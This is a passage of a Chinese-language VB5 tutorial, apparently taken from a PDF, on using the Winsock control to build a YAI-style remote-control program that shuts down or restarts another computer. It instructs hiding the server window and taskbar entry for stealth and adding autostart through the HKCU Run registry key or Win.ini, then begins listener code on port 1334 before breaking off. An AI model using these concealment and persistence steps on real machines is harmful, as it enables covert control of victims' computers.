VB中Winsock控件的使用[完全免费].pdf

VB 中Winsock 控件的使用 前一段时间，一个名叫 YAI 的‘病毒’在我国闹的沸沸扬扬，许多不明真相的人对他感到 神秘莫测，可是究其实质无非也就是一个远程控制软件罢了，只不过他的服务器端程序隐藏 的十分好而已。其实在VB5 中有一个基于TCP\IP 协议的Winsock 控件，利用他改改属性， 写几段代码，我们同样可以来一回 YAI. 由于篇幅所限，在这里我们只来看看对远程计算机 的重启，关闭功能室如何实现的。打开VB5 后，在工具箱中并不能看到Winsock 控件，通 过鼠标右键单击工具箱点“部件”，再将“Microsoft Winsock Control 5.0 ”选中确定后，就可 以将Winsock 控件添加到工具箱中了。 远程控制功能是基于客户机/服务器这一模型来实现的，所以程序的编制也应分两部分 进行：一部分是服务器端--也就是被控制的一方，另一部分是客户端--控制方。服务器程序 要守侯在一个固定或不固定的网址(IP)上等待客户程序的请求；客户程序则向服务器程序所 在的网址请求连接，连接成功后通过交换信息即可得到相应的服务。因此设置Winsock 属性 时，服务器端应设置LocalPort 和应用Listen 方法进行监听，客户程序则要设置RemoteHost 和RemotePort 及应用Connect 方法请求连接，并用Senddata 方法互换信息。下面是Winsock 控件的相关属性，方法和事件。(略去一些暂用不到的) *属性 LocalHostName | 本地机器名 LocalIP | 本地机器IP 地址 LocalPort | 本地机器通信程序的端口(0端口65536) RemoteHost | 远程机器名 RemotePort | 远程机器的通信程序端口 state | 连接的当前状态(文后有详细说明) Protocal | 使用TCP 或UDP 协议(这里我们选‘0-sckTCPProtocal ’) *方法 Listen Listen 方法用于服务器程序，等待客户访问。 格式：Winsock 对象.listen Connect Connect 方法用于向远程主机发出连接请求 格式：Winsock 对象.connect [远程主机IP,远程端口] Accept Accept 方法用于接受一个连接请求 格式：Winsock 对象.accept Request ID Senddata 此方法用于发送数据 格式：Winsock 对象.senddata 数据 Getdata 用来取得接收到的数据 格式：Winsock 对象.getdata 变量 [,数据类型 [,最大长度]] Close 关闭当前连接 格式：Winsock 对象.close *事件 Close | 远程机器关闭连接时触发 Connect | 连接建立好，可以进行通信时触发(客户端) ConnectRequest | 有请求连接到达时产生(服务器端) DataArrival | 有数据到达时触发 Error | 发生错误时发生 SendProgress | 数据传送进度 程序代码如下： --》服务器端程序(server.exe) 先在窗体中放置Winsock 控件(他在运行时是看不见的) ，属性采用默认值,再设置Form1 的 属性ShowInTaskBar 为False,Visible 为False(这样才有隐蔽性嘛).对于程序的自启动可手工在 注册表“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run ”中增加 键值 winserver=c:\\windows\\server.exe 或配置文件 Win.ini 的 Load,run 写入 C:\windows\server.exe来达到目的。当然也可通过在VB5 中调用API 函数来实现对注册表 的写入，这就更方便了，不过由于实现过程较复杂，就不在这里说了. Private Sub Form_Load() On Error GoTo skip 注释：如此端口已有通信程序则退出 Winsock1.LocalPort = 1334 注释：端口值应大于 1024，如还有冲突可改为其他值 Winsock1.Listen Exit Sub skip: If Err.Number = 10048 Then MsgBox 端口冲突，退出！, vbOKOn